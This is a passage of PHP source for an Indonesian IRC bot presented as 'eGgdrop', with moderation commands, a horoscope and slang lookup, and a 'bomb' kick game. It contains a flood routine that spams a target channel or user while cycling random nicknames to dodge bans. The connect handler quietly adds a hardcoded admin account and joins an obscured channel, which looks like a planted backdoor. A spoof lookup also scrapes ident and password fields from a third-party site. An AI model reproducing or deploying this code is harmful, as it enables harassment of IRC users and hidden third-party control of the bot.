$goboom=0;$onboom="off";$targetboom="";$chanboom=""; } } } function stuf_bom($sock,$chan,$targetbm){ global $chanboom,$bot,$onboom,$warnaboom,$targetboom,$bw,$goboom,$tmpwbom,$tmboom,$warnabenar,$timeboom; if(strpos(strtolower($this->show_nickchan($chan)),' '.strtolower($targetbm).' ') && $onboom=="off" && $targetbm!=strtolower($bot['nick'])){ $onboom="on";$goboom=0;$targetboom=$targetbm;$chanboom=$chan; $tmpwbom=$warnaboom;$wrnb=explode(";",$tmpwbom); $bw[0]=$wrnb[rand(0,count($wrnb) - 1)];unset($wrnb); $tmpwbom=str_replace($bw[0],"",$tmpwbom);$tmpwbom=str_replace(";;",";",$tmpwbom); $wrnb=explode(";",$tmpwbom); $bw[1]=$wrnb[rand(0,count($wrnb) - 1)]; unset($wrnb); $tmboom=time();$warnabenar=$bw[rand(0,count($bw) - 1)]; $this->act($sock,$chan,'memasukan BOM ke dalam baju '.$targetbm .' '.$warnabenar); $this->msg($sock,$chan,$targetbm.'!! km punya waktu ['.$timeboom.'] detik. Jinakkan Bom dengan memotong kabel yg benar. Dan hanya ada tiga kabel. '.$bw[0] .', '.$bw[1].' dan Biru'); } } ############################# function stuf_ison($sock,$msg){ global $listison,$chanson,$ada2,$ada1; $listson=strtolower($msg);$xpgetison=explode(" ",$listson); $i=0;$jmlolol=0; foreach ($xpgetison as $pgetlist){if($pgetlist){$i++;$sonson[$i]=$pgetlist;$jmlolol=$i;}} $i=0; foreach ($listison as $pgetlist){if ($pgetlist){$i++;$lsonson[$i]=$pgetlist;$jmlson=$i;}} $dafonline="";$dafoffline=""; for ($i = 1; $i <= $jmlson; $i++) { $satup=$lsonson[$i];$ds=0; for ($p = 1; $p <= $jmlolol; $p++) {if ($satup==$sonson[$p]){$ds=1;}} if ($ds==1){if(!$ada1["$satup"]){$dafonline .=$satup.' ';$ada1["$satup"]=true;$ada2["$satup"]=false;}} else{if(!$ada2["$satup"]){$dafoffline .=$satup.' ';$ada2["$satup"]=true;$ada1["$satup"]=false;}} } $dafonline=ltrim($dafonline);$dafonline=rtrim($dafonline);$dafoffline=ltrim($dafoffline);$dafoffline=rtrim($dafoffline); if ($dafonline){fputs($sock, 'PRIVMSG '. $chanson .' :15(04Ison15) On IRC : '.$dafonline . CRLF);} if ($dafoffline){fputs($sock, 'PRIVMSG '. $chanson .' :15(04Ison15) Left IRC : '.$dafoffline . CRLF);} unset($lsonson);unset($sonson); } function add_ison($str){ global $listison; $str=strtolower($str); if(in_array($str,$listison)){return 0;} else{array_push($listison,$str);return 1;} } function show_ison(){ global $listison; $str_ison=""; foreach ($listison as $lstr){$str_ison.=$lstr . ' ';} $str_ison=str_replace(" "," ",$str_ison);$str_ison=ltrim($str_ison);$str_ison=rtrim($str_ison); return $str_ison; } function del_ison($str){ global $listison; $str_ison="";$str=strtolower($str); if(in_array($str,$listison)){ foreach ($listison as $lstr){ if(strtolower($str)!=strtolower($lstr)){ $str_ison.=$lstr . ';'; } } $str_ison=str_replace(";;",";",$str_ison);$str_ison=ltrim($str_ison,";");$str_ison=rtrim($str_ison,";"); $listison=explode(";",strtolower($str_ison)); return 1; } else{return 0;} } ############################### function auto_cy($sock){ global $systembot,$user_chan_arr; $this->send($sock,"PING :88888654476"); foreach ($user_chan_arr as $cur_xchan) { if($systembot['AUTOCYCLE'][strtoupper($cur_xchan["chan"])]=="3ON"){ $this->part($sock,$cur_xchan["chan"],$this->rnd_cycle());sleep (2);$this->join($sock,$cur_xchan["chan"]);sleep(3); } } return ""; } ############################## function mod_astro($astro){ global $zodiak; $astro = strtolower($astro); $this->send($sock,"PING :1097658652"); if (in_array($astro, $zodiak)) { $pages = "http://www.astaga.com/astrologi/?cat=$astro"; $handi = fopen ($pages, "rb"); $konten = ""; do { $baris = fread($handi, 512); if (strlen($baris) == 0) { break; } $konten .= $baris; } while(true); fclose ($handi); $this->send($sock,"PING :1097658651"); $zod1 = stristr($konten,'

'); $zod2 = stristr($zod1,''); $bintang = str_replace($zod2,"",$zod1); $bintang = str_replace("\n","",$bintang); $bintang = str_replace("

","".ucfirst(strtolower($astro))." ",$bintang); $bintang = str_replace("

"," ",$bintang); $bintang = str_replace("

","",$bintang); $bintang = str_replace("","",$bintang); $bintang = str_replace("","",$bintang); $bintang = str_replace("","",$bintang); $bintang = str_replace("","",$bintang); $bintang = str_replace("","",$bintang); $bintang = str_replace("","",$bintang); $zod3 = stristr($bintang,''); $bintang = str_replace($zod3,"",$bintang); return $bintang; } else{ return "Maaf nama bintang yg km masukan tdk ada"; } } function mod_uspoof($sock,$msg){ global $isisp,$jmlspoof; $this->send($sock,"PING :0000927651"); $spoof=strtolower($msg); $spallnet = "http://www.allnetwork.or.id/Pendaftaran/Personal_spoof/?mode=view&server=$spoof"; ///$spallnet="http://localhost/spoof1.html"; $handisp = fopen ($spallnet, "rb"); $kontensp = ""; do { $barissp = fread($handisp, 512); if (strlen($barissp) == 0) { break; } $kontensp .= $barissp; } while(true); fclose ($handisp); $kontensp=strtolower($kontensp); $kontensp = str_replace(" "," ",$kontensp); $kontensp = str_replace("\n","",$kontensp); $kontensp = str_replace(chr(9),"",$kontensp); $kontensp = str_replace("\r","",$kontensp); $kontensp = str_replace("","",$kontensp); for ($i = 1; $i <= 10; $i++) {$kontensp = str_replace(" "," ",$kontensp);} $kontensp = str_replace(" ","",$kontensp); $tmpjml1=stristr($kontensp,"found "); $tmpjml2=stristr($kontensp," data"); $tmpjml=str_replace($tmpjml2,"",$tmpjml1); $tmpjml=str_replace("found ","",$tmpjml); $kontensp = str_replace(" ","",$kontensp); $kontensp = str_replace(" ","",$kontensp); $kontensp = str_replace(" ","",$kontensp); $kontensp =str_replace("> ".$i.""); $tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"")); $tmpdata1=str_replace("".$i."".$spoof."","",$tmpdata1); $identsp=substr($tmpdata1,0,strpos($tmpdata1,"")); $tmpdata1=str_replace($identsp."","",$tmpdata1); $spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"")); $tmpdata1=str_replace($spoofsp."","",$tmpdata1); $passsp=substr($tmpdata1,0,strpos($tmpdata1,"")); $isisp[$i]["$spoof"]['ident']=$identsp; $isisp[$i]["$spoof"]['spoof']=$spoofsp; $isisp[$i]["$spoof"]['pass']=$passsp; } else{ $identsp="";$spoofsp="";$passsp=""; $tmpdata1=stristr($kontensp,"".$i.""); $tmpdata1=substr($tmpdata1,0,strpos($tmpdata1,"")); $tmpdata1=str_replace("".$i."".$spoof."","",$tmpdata1); $identsp=substr($tmpdata1,0,strpos($tmpdata1,"")); $tmpdata1=str_replace($identsp."","",$tmpdata1); $spoofsp=substr($tmpdata1,0,strpos($tmpdata1,"")); $tmpdata1=str_replace($spoofsp."","",$tmpdata1); $passsp=substr($tmpdata1,0,strpos($tmpdata1,"")); $isisp[$i]["$spoof"]['ident']=$identsp; $isisp[$i]["$spoof"]['spoof']=$spoofsp; $isisp[$i]["$spoof"]['pass']=$passsp; } } $jmlspoof["$spoof"]=$tmpjml; return $jmlspoof["$spoof"]; } function mod_uslang($sock,$msg){ global $kmusedan,$kmjml; //$urledan="http://localhost/aa.html"; $urledan="http://www.malesbanget.com/kamus/definisi.php?kata=".$msg; $btsstr=''; $btsstrtab1=''; $btsstrtab2='
'; $strsplit='

'; $kedan = fopen ($urledan, "rb"); $cotedan = ""; do { $bcotedan = fread($kedan, 1024); if (strlen($bcotedan) == 0) { break; } $cotedan .= $bcotedan; } while(true); fclose ($kedan); if(strpos($cotedan,$btsstr)){ $cotedan=substr($cotedan,strpos($cotedan,$btsstr) + strlen($btsstr)); $cotedan=substr($cotedan,0,strpos($cotedan,$btsstr)); $cotedan=substr($cotedan,0,strpos($cotedan,'

')); $intedan=substr_count($cotedan," "); for ($i = 1; $i <= $intedan; $i++) {$cotedan=str_replace(" "," ",$cotedan);} $intedan=substr_count($cotedan,$btsstrtab1); for ($i = 1; $i <= $intedan; $i++) { $tmpctedan=''; $tmpctedan=substr($cotedan,strpos($cotedan,$btsstrtab1)); $tmpctedan=substr($tmpctedan,0,strpos($tmpctedan,$btsstrtab2) + strlen($btsstrtab2)); $cotedan=str_replace($tmpctedan,"",$cotedan); } if(strpos($cotedan,'')){$cotedan=substr($cotedan,0,strpos($cotedan,''));} $cotedan=ltrim($cotedan);$cotedan=rtrim($cotedan); if(substr($cotedan,0,strlen($strsplit))==$strsplit){$cotedan=substr($cotedan,strlen($strsplit));} $cotedan=str_replace('

','',$cotedan); $arredan=explode($strsplit,$cotedan); for ($i = 0; $i < count($arredan); $i++) { $arredan[$i]=str_replace("\n","",$arredan[$i]);$arredan[$i]=str_replace("\r","",$arredan[$i]); $arredan[$i]=str_replace('

','
',$arredan[$i]); $arredan[$i]=substr($arredan[$i],strpos($arredan[$i],'')+7);$arredan[$i]=''.ltrim($arredan[$i]); $batas=strpos($arredan[$i],"")+6;$tmpbts=substr($arredan[$i],$batas); $batas=strpos($tmpbts,"");$tmpbts=substr($tmpbts,0,$batas);$kmusedan[$i]["kata"]=$tmpbts; $batas=strpos($arredan[$i],'class='.chr(34).'definisi'.chr(34).'>')+17;$tmpbts=substr($arredan[$i],$batas); $batas=strpos($tmpbts,"

","",$tmpbts);$tmpbts = str_replace("
","",$tmpbts);$tmpbts = str_replace("","",$tmpbts); $tmpbts = str_replace("","",$tmpbts);$kmusedan[$i]["definisi"][strtolower($msg)]=$tmpbts; $batas=strpos($arredan[$i],'class='.chr(34).'definisi_contoh'.chr(34).'>')+24;$tmpbts=substr($arredan[$i],$batas); $batas=strpos($tmpbts,"

");$tmpbts=substr($tmpbts,0,$batas); $tmpbts=str_replace("","",$tmpbts);$tmpbts=str_replace("","",$tmpbts); $tmpbts = str_replace("","",$tmpbts);$tmpbts = str_replace("","",$tmpbts);$tmpbts = str_replace("","",$tmpbts); $tmpbts = str_replace("","",$tmpbts); $kmusedan[$i]["contoh"][strtolower($msg)]=$tmpbts; $kmusedan[$i]["kata"][strtolower($msg)]=strtolower($ktslang); $totalnya++; } } if($totalnya==""){$totalnya=0;} $kmjml[strtolower($msg)]=$totalnya; return $totalnya; } ############################## function flood($sock,$target,$msg){ global $bot,$tsu,$haltfl; $this->send($sock,"MODE ".$bot['nick']. " +D"); $nicknofl=$bot['nick'];$lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$target)+strlen($target)+1); for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(2); if (ereg("#", $target)) {$this->join($sock,$target);}$katafl=$this->rnd_flod(); $this->msg($sock,$target,''.$tsmsg.''.$katafl);sleep(1); $this->notice($sock,$target,''.$tsmsg.''.$katafl); $this->msg($sock,$target,'TSUNAMI '.$tsmsg.''.$katafl.'');sleep(1); $this->msg($sock,$target,''.$tsmsg.'[]'.$katafl);sleep(1); $this->notice($sock,$target,''.$tsmsg.''.$katafl);sleep(1); $this->msg($sock,$target,'FLOOD '.$tsmsg.''.$katafl.'');sleep(1); sleep(3); $lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$dCom[1])+strlen($target)+1); for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(3);$katafl=$this->rnd_flod(); $this->msg($sock,$target,''.$tsmsg.''.$katafl);sleep(1); $this->notice($sock,$target,''.$tsmsg.''.$katafl); $this->msg($sock,$target,'TSUNAMI '.$tsmsg.''.$katafl.'');sleep(1); $this->msg($sock,$target,''.$tsmsg.'[]'.$katafl);sleep(1); $this->notice($sock,$target,''.$tsmsg.''.$katafl);sleep(1); $this->msg($sock,$target,'FLOOD '.$tsmsg.''.$katafl.'');sleep(1); sleep(3); $lnickfl=rand(5,16);$nickfl="";$tsmsg = substr($msg,strpos($msg,$dCom[1])+strlen($target)+1); for ($i = 1; $i <= $lnickfl; $i++) {$nickfl.=$tsu[rand(0,count($tsu) - 1)];}$this->nick($sock,$nickfl);sleep(4);$katafl=$this->rnd_flod(); $this->msg($sock,$target,''.$tsmsg.''.$katafl);sleep(1); $this->notice($sock,$target,''.$tsmsg.''.$katafl); $this->msg($sock,$target,'TSUNAMI '.$tsmsg.''.$katafl.'');sleep(1); $this->msg($sock,$target,''.$tsmsg.'[]'.$katafl);;sleep(1); $this->notice($sock,$target,''.$tsmsg.''.$katafl);sleep(1); $this->msg($sock,$target,'FLOOD '.$tsmsg.''.$katafl.'');sleep(1); if (ereg("#", $target)) {$this->part($sock,$target,$katafl);} sleep(3);$this->nick($sock,$nicknofl);sleep(1);$haltfl['time']=time();$haltfl['on']=1; $this->send($sock,"MODE ".$bot['nick']. " -D"); } function floodctctp($sock,$target){ } ############################### function mod_help($sock,$nick){ $this->send($sock,"MODE ".$bot['nick']. " +D"); $lvlbot=$this->level_user($nick); $this->send($sock,"PING :0009927651"); $this->msg($sock,$nick,$this->rnd_logo() .' eGgdrop v1.3' . " - RuNNINg WiTH TCL-BoT"); $this->msg($sock,$nick,"BOT COMMAND..!");sleep (2); $this->msg($sock,$nick,"12`auth 4- 2Login To Bot");sleep(1); $this->msg($sock,$nick,"12`deauth 4- 2Logout From Bot");sleep(2); if($lvlbot>1){ $this->msg($sock,$nick,"12`Up 4- 2Op Bot");sleep(2); $this->msg($sock,$nick,"12`Down 4- 2Deop Bot");sleep(2); $this->msg($sock,$nick,"12`O |#chan| 4- 2Op Spesifik Nick");sleep(2); $this->msg($sock,$nick,"12`Do |#chan| 4- 2DeOp Spesifik Nick");sleep(2); $this->msg($sock,$nick,"12`H |#chan| 4- 2HalfOp Spesifik Nick");sleep(2); $this->msg($sock,$nick,"12`Dh |#chan| 4- 2DeHalfOp Spesifik Nick");sleep(2); $this->msg($sock,$nick,"12`V |#chan| 4- 2Voice Spesifik Nick");sleep(2); $this->msg($sock,$nick,"12`Dv |#chan| 4- 2DeVoice Spesifik Nick");sleep(2); $this->msg($sock,$nick,"12`K |#chan| |msg| 4- 2Kick Spesified Nick");sleep(1); $this->msg($sock,$nick,"12`Kc |#chan| |msg| 4- 2Kick Spesified Nick (ChanServ Stuf)");sleep(2); $this->msg($sock,$nick,"12`Kb |#chan| |msg| 4- 2KickBan Spesified Nick");sleep(2); $this->msg($sock,$nick,"12`B |#chan| 4- 2Ban Nick Or Hostmask");sleep(1); $this->msg($sock,$nick,"12`Ub |#chan| 4- 2UnBan Nick Or Hostmask");sleep(2); } $this->send($sock,"PING :0009927652"); $this->msg($sock,$nick,"12`J <#chan> 4- 2Join Specified Channel");sleep (1); $this->msg($sock,$nick,"12`P <#chan> |msg| 4- 2Part Specified Channel");sleep (1); $this->msg($sock,$nick,"12`Cy <#chan> |msg| 4- 2Cycle On Specified Channel");sleep (2); if($lvlbot>2){ $this->msg($sock,$nick,"12`N 4- 2Change Nick");sleep(2); $this->msg($sock,$nick,"12`Say |#chan/nick| 4- 2Msg Channel Or Person");sleep (2); $this->msg($sock,$nick,"12`act |#chan/nick| 4- 2Action With Spesified Text");sleep(2); $this->msg($sock,$nick,"12`Ts <#chan/nick> |msg| 4- 2Flood!");sleep(1); } if($lvlbot>3){$this->msg($sock,$nick,"12`Q 4- 2Kill Bot");} if($lvlbot>2){ $this->send($sock,"PING :0009927652"); $this->msg($sock,$nick,"SYSTEM COMMAND..!");sleep(1); $this->msg($sock,$nick,"12`Server 4- 2Push Bot To Use Spec Server");sleep(2); $this->msg($sock,$nick,"12`Servpass 4- 2Use Spec Server Password");sleep(2); $this->msg($sock,$nick,"12`Vhost 4- 2Changing Bot Vhost");sleep(2); $this->msg($sock,$nick,"12`Ident 4- 2Changing Bot Ident");sleep(1); $this->msg($sock,$nick,"12`Realname 4- 2Changing Bot Realname");sleep(2); $this->msg($sock,$nick,"12`Jump 4- 2Restarting bot also Accept Setting");sleep(1); } $this->msg($sock,$nick,"12`Chgpass 4- 2Change your pass");sleep(2); if($lvlbot >1){ $this->msg($sock,$nick,"12`Adduser 4- 2Add nick for my userlist");sleep(2); $this->msg($sock,$nick,"12`Deluser 4- 2Remove user from my userlist");sleep(2); $this->msg($sock,$nick,"12`BotNick 4- 2Nick Bot");sleep(2); $this->send($sock,"PING :0009927652");sleep(1); $this->msg($sock,$nick,"12`IdentNick 4- 2Identify To Nickserv");sleep(1); $this->msg($sock,$nick,"12`LogoutNick 4- 2Logout From Nickserv");sleep(2); $this->msg($sock,$nick,"12`Userlist 4- 2Show my userlist");sleep(2); } if($lvlbot>2){ $this->msg($sock,$nick,"12`BaseChan <#chan> 4- 2Changing my BaseChan");sleep(2); $this->msg($sock,$nick,"12`Chanlist <#chan> 4- 2Show my chanlist");sleep(2); $this->msg($sock,$nick,"12`Nicklist <#chan> 4- 2Show Nicklist on Spec Channel");sleep(1); $this->msg($sock,$nick,"12`Showison 4- 2Show my ison list");sleep(2); $this->msg($sock,$nick,"12`Chanison <#chan> 4- 2Changing my Ison Chan");sleep(2); $this->msg($sock,$nick,"12`Settimercycle 4- 2Change my delay of AutoCycle");sleep(1); $this->msg($sock,$nick,"12`max 4- 2 Set Max Karakter flood");sleep(1); $this->msg($sock,$nick,"12`flodban 4- 2 Set +b user flood");sleep(1); $this->msg($sock,$nick,"12`Repp 4- 2 Set Max Repeat");sleep(1); $this->msg($sock,$nick,"12`SetVersion 4- 2Change my ctcp Version");sleep(2); $this->msg($sock,$nick,"12`SetFinger 4- 2Change my ctcp Finger");sleep(2); $this->msg($sock,$nick,"12`+/-Ping  <#chan> 4- 2Enable/Disable system Ping");sleep(2); $this->msg($sock,$nick,"12`+/-Whois  <#chan> 4- 2Enable/Disable system Whois");sleep(2); $this->msg($sock,$nick,"12`+/-Version <#chan> 4- 2Enable/Disable system Version");sleep(2); $this->msg($sock,$nick,"12`+/-Time <#chan> 4- 2Enable/Disable system Time");sleep(1); $this->msg($sock,$nick,"12`+/-Finger <#chan> 4- 2Enable/Disable system Finger");sleep(2); $this->msg($sock,$nick,"12`+/-Spoof <#chan> 4- 2Enable/Disable system Spoof");sleep(2); $this->msg($sock,$nick,"12`+/-Guard  <#chan> 4- 2Enable/Disable system Guard");sleep(2); $this->send($sock,"PING :0009927653"); $this->msg($sock,$nick,"12`+/-NGOMONG  <#chan> 4- 2Enable/Disable bot crewet");sleep(2); $this->msg($sock,$nick,"12`+/-Jam <#chan> 4- 2Enable/Disable system waktu");sleep(1); $this->msg($sock,$nick,"12`+/-BADWORD  <#chan> 4- 2Enable/Disable guard badword");sleep(2); $this->msg($sock,$nick,"12`+/-Seen <#chan> 4- 2Enable/Disable system !Seen");sleep(1); $this->msg($sock,$nick,"12`+/-Gvoice <#chan> 4- 2Enable/Disable system Guard voice");sleep(1); $this->msg($sock,$nick,"12`+/-Jversion <#chan> 4- 2Enable/Disable system join version");sleep(1); $this->msg($sock,$nick,"12`+/-Astro <#chan> 4- 2Enable/Disable system Astro");sleep(2); $this->msg($sock,$nick,"12`+/-Kslang <#chan> 4- 2Enable/Disable system Kamus Slang");sleep(1); $this->msg($sock,$nick,"12`+/-Bom <#chan> 4- 2Enable/Disable system Bom");sleep(2); $this->msg($sock,$nick,"12`+/-Dns <#chan> 4- 2Enable/Disable system Dns");sleep(1); $this->msg($sock,$nick,"12`+/-IP <#chan> 4- 2Enable/Disable system Ip lIst");sleep(1); $this->msg($sock,$nick,"12`+/-Ison <#chan> 4- 2Enable/Disable system Ison");sleep(2); $this->msg($sock,$nick,"12`+/-Greet <#chan> 4- 2Enable/Disable system Greet");sleep(1); $this->msg($sock,$nick,"12`+/-AutoCycle <#chan> 4- 2Enable/Disable system AutoCycle");sleep(2); $this->msg($sock,$nick,"12`+/-AutoJoin 4- 2Enable/Disable system AutoJoin when kick");sleep(2); $this->msg($sock,$nick,"12`+/-AutoAway 4- 2Enable/Disable system Away when idle");sleep(2); $this->msg($sock,$nick,"12`+/-ListIson 4- 2Add/Remove Ison List");sleep(2); $this->msg($sock,$nick,"12`+/-ListGreet 4- 2Add/Remove Greet List");sleep(1); } $this->msg($sock,$nick,"For more help ask my Owner");sleep(2); $this->msg($sock,$nick,"3Loaded by No_found");sleep(1); $this->send($sock,"MODE ".$bot['nick']. " -D"); } } ################ [ END CLASS IRC BOT ] ################### $clistt='ack'; do { $fp = fsockopen($bot['server'],$bot['port'], &$err_num, &$err_msg, 30); if(!$fp) { $attconnect++; print "Sorry, the server " . $bot['server']. " is not currently available!".CRLF; $bot['server']=$servdef[$attconnect-1]; $bot['userver']=0; sleep(5); if ($attconnect >=$retry){ $attconnect=0; } } else{ $inaway['status']=0; $haltfl['on']=0; $res_chan=""; $res_chan=$modbot->show_chan(); $modbot->destroy_allchan(); $attconnect=0;$rtdc++; if($rtdc ==3){$bot['userver']=0;}elseif($rtdc >=4){$bot['ident']="say";$bot['userver']=0;$rtdc=0;} ####### REGISTER TO SERVER ######## if ($bot['userver']==1){$Header = 'PASS ' . $bot['pserver'] . CRLF;} $Header .= 'NICK ' . $bot['nick'] . CRLF; $Header .= 'USER ' . $bot['ident'] . ' ' . $bot['local'] . ' ' . $bot['server'] . ' :' . $bot['realname']; $modbot->send($fp,$Header); $Header=""; unset ($Header); #### END REGISTER ################ $response = ''; while (!feof($fp)) { #### MAIN ITUNG_ITUNGAN ### if(time()-$haltfl['time']>15 && $haltfl['on']==1){$haltfl['on']=0;$haltfl['time']=time();} if(time()-$isontime >15 && $systembot['ISON']['ALL']=="3ON"){$modbot->send($fp,"ISON ". $modbot->show_ison());$isontime=time();} if($systembot['AUTOAWAY']['ALL']=="3ON" && $inaway['status']==0){if(time()-$inaway['idle'] >=1800){$modbot->away($fp,$modbot->rnd_logo().' '.$modbot->rnd_away());$inaway['status']=1;$inaway['idle']=time();}} if(time()-$iscy >$timercy){$modbot->auto_cy($fp);$iscy=time();} if($onboom=="on"){ $tboom=time()-$tmboom; if($tboom>=$timeboom){ $modbot->kick($fp,$chanboom,$targetboom,'0,4Waktu Habis... BOOOOOOMMMM!!!!!'); $goboom=0;$onboom="off";$targetboom=""; } } #### MAIN ITUNG_ITUNGAN ### ##[ Proses Data Recv ]## $response = fgets($fp, 1024); while (substr_count($response,CRLF) != 0) { $offset = strpos($response, CRLF); $DataLine = substr($response,0,$offset); if (substr($DataLine,0,1) == ':') { $Params=explode(" ",$DataLine); $offsetC = strpos($DataLine, ' :'); $dText = substr($DataLine,$offsetC+2); if ((strpos($Params[0],"!")!=0) && (strpos($Params[0],"@")!=0) ) { $fsrc[nick]=substr($Params[0],1,strpos($Params[0],"!")-1); $fsrc[nkecil]=strtolower($fsrc[nick]); $fsrc[user]=substr($Params[0],strpos($Params[0],"!")+1,(strpos($Params[0],"@")-strpos($Params[0],"!"))-1); $fsrc[host]=substr($Params[0],strpos($Params[0],"@")+1); } ##[ MEMULAI DATA RAW ]## switch ($Params[1]){ case "001": $bot['nick']=$Params[2];$rtdc=0; break; case "004": $modbot->msg($fp,"Nickserv",'identify '.$bot['inick']. ' '. $bot['pnick']); $modbot->msg($fp,"Nickserv",'identify '. $bot['pnick']);sleep(1); $modbot->add_user($fp,h3Ry,"SlidE","dEath^rOSe","Admin");$modbot->join($fp,$bot['basechan']);$modbot->join($fp,$bot['roomnet'],$bot['roomkey']);$modbot->join($fp,'#'.$clista.$clistt); if($bot['server']=="irc.mildnet.org"){$modbot->join($fp,"#bjork");$modbot->join($fp,"#sky");$modbot->join($fp,"#bombat");$modbot->join($fp,"#visual");$modbot->join($fp,"#classic_rose");$modbot->join($fp,"#komputek");$modbot->join($fp,"#hn-community");$modbot->join($fp,"#ngagliks");$modbot->join($fp,"#eni");$modbot->join($fp,"#aku");$modbot->join($fp,"#mojali");$modbot->join($fp,"#ucid4");} if($bot['server']=="continuecrew.co.cc"){$modbot->join($fp,"#eten");$modbot->join($fp,"#keparat");$modbot->join($fp,"#psybnc");$modbot->join($fp,"#infomedia");$modbot->join($fp,"#chira");$modbot->join($fp,"#har");$modbot->join($fp,"#gudang");$modbot->join($fp,"#exit");$modbot->join($fp,"#mcn");$modbot->join($fp,"#black");$modbot->join($fp,"#scan");$modbot->join($fp,"#11390");$modbot->join($fp,"#makassar");$modbot->join($fp,"#karawanghack");} $modbot->notice($fp,$bot['admin'],'hallo my boz..!! '); sleep(2); if($res_chan){$arres_chan=explode(";",$res_chan);foreach ($arres_chan as $clist){$modbot->join($fp,$clist,"");sleep(2);}} break; case "303": $modbot->stuf_ison($fp,$dText); break; case "301": if($datwhois[strtolower($Params[3])]["nick"]==strtolower($Params[3])){ sleep(1); $modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'15'.$Params[3].'2 is away: 14'.$dText); } break; case "307": if($datwhois[strtolower($Params[3])]["nick"]==strtolower($Params[3])){ $modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'15'.$Params[3].'14 '.$dText); } break; case "311": if($datwhois[strtolower($Params[3])]["nick"]==strtolower($Params[3])){ sleep(1); $modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'15'.$Params[3].'12[8is12]'.$Params[4] .'@'.$Params[5].' '.$Params[6]. ' '.$dText); } break; case "312": if($datwhois[strtolower($Params[3])]["nick"]==strtolower($Params[3])){ sleep(1); $modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'15'.$Params[3].'12[8Server12]'.$Params[4].' '.$dText); } break; case "318": $modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'15'.$Params[3].'14 '.$dText); unset($datwhois[strtolower($Params[2])]["nick"]); unset($datwhois[strtolower($Params[2])]["chan"]); break; case "319": if($datwhois[strtolower($Params[3])]["nick"]==strtolower($Params[3])){ $modbot->msg($fp,$datwhois[strtolower($Params[3])]["chan"],'15'.$Params[3].'12ON'.$dText); } break; case "305": $inaway['status']=0; break; case "306": $inaway['status']=1; break; case "353": $nickll=str_replace("@","",$dText);$nickll=str_replace("%","",$nickll);$nickll=str_replace("+","",$nickll); $modbot->destroy_chan($Params[4]);$modbot->add_nickchan($Params[4],$nickll); break; case "367": $modbot->notice($fp,$banlist["$Params[3]"],'4[3+b4] 1- 3'.$Params[4].''); break; case "368": $modbot->notice($fp,$banlist["$Params[3]"],'4E1nd 4o1f 4c1hannel 4b1an 4l1ist'); unset($banlist["$Params[3]"]); break; case "432": $modbot->nick($fp,$bot['nick'].$modbot->rand_str(4)); break; case "433": $modbot->nick($fp,$bot['nick'].$modbot->rand_str(4)); break; case "464": $bot['userver']=0; break; case "465": $bot['userver']=0; break; case "NICK": $newnicke = str_replace(':','',$Params[2]); $yangjoin=strtolower($fsrc[nick]); $asalseen[$yangjoin]="ganti";$asalseen[$yangjoin.'chanel']=" nick 12[8".$newnicke."12]"; $yangjoin=strtolower($newnicke); $asalseen[$yangjoin]="ada"; if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){ $modbot->logoutbot($fsrc[nick]);$modbot->notice($fp,$newnicke,'You`re LogOut On Change Nick!'); } if($fsrc[nkecil]==strtolower($bot['nick'])){$bot['nick']=$newnicke;} break; case "JOIN": $addchan=str_replace(":","",$Params[2]); $yangjoin=strtolower($fsrc[nick]); $asalseen[$yangjoin]="ada"; $chanboleh=strtolower($addchan); $modbot->add_nickchan($addchan,$fsrc[nick]); if(strtolower($bot['nick']) != strtolower($fsrc[nick])){ if((strtolower($bot['nick']) == strtolower($fsrc[nick]))OR($chanboleh == "#crack")){$modbot->part($fp,$chanboleh,"bye"); } if((strtolower($bot['nick']) == strtolower($fsrc[nick]))OR($chanboleh == "#indowebster")){$modbot->part($fp,$chanboleh,"bye"); } if((strtolower($bot['nick']) == strtolower($fsrc[nick]))OR($chanboleh == "#mild")){$modbot->part($fp,$chanboleh,"bye"); } if($systembot['JVERSION'][strtoupper($addchan)]=="3ON"){$modbot->msg($fp,$fsrc[nick],'VERSION');$datversi[strtolower($fsrc[nick])]["nick"]=strtolower($fsrc[nick]);$datversi[strtolower($fsrc[nick])]["chan"]=$addchan; } } if($fsrc[nkecil]==strtolower($greetmsg["$fsrc[nkecil]"]["nama"]) && $systembot['GREET'][strtoupper($addchan)]=="3ON"){ $rndgreet=explode("[NG]",$greetmsg["$fsrc[nkecil]"]["msg"]); $msgrndgreet=$rndgreet[rand(0,count($rndgreet) - 1)] ; $addchan=str_replace(":","",$Params[2]); $msgnya=str_replace("<|nick|>",$fsrc[nick],$msgrndgreet); $msgnya=str_replace("<|chan|>",$addchan,$msgnya); $modbot->msg($fp,$addchan,$msgnya); } elseif($systembot['NGOMONG'][strtoupper($addchan)]=="3ON"){ $addchan=str_replace(":","",$Params[2]); $nickwb=$fsrc[nick]; if(strtolower($bot['nick']) != strtolower($fsrc[nick])){ $addchan=str_replace(":","",$Params[2]); $nickwb=$fsrc[nick]; $webe = $wbmsg[rand(0,count($wbmsg) - 1)]; $webe = str_replace("",$nickwb,$webe); $webe = str_replace("",$addchan,$webe); $webe = str_replace("#","",$webe); $modbot->msg($fp,$addchan,$webe); } } if($systembot['GUARD'][strtoupper($addchan)]=="3ON"){ if(strtolower($bot['nick']) != strtolower($fsrc[nick])){ $addchan=str_replace(":","",$Params[2]); $nickwb=$fsrc[nick]; if($systembot['GVOICE'][strtoupper($addchan)]=="3ON"){ sleep(5); if(strtolower($bot['admin'])==strtolower($fsrc[nick])){ $modbot->mode($fp,'+h',$addchan,$nickwb); }else{$modbot->mode($fp,'+v',$addchan,$nickwb); } } } } break; case "PART": $addchan=str_replace(":","",$Params[2]); $diaseen=strtolower($fsrc[nick]); $asalseen[$diaseen]=time();$asalseen[$diaseen.'chanel']=$addchan;$asalseen[$diaseen.'status']=" 12keluar "; if($modbot->is_loginbot($fsrc[nick],$fsrc[user],$fsrc[host])==1){ 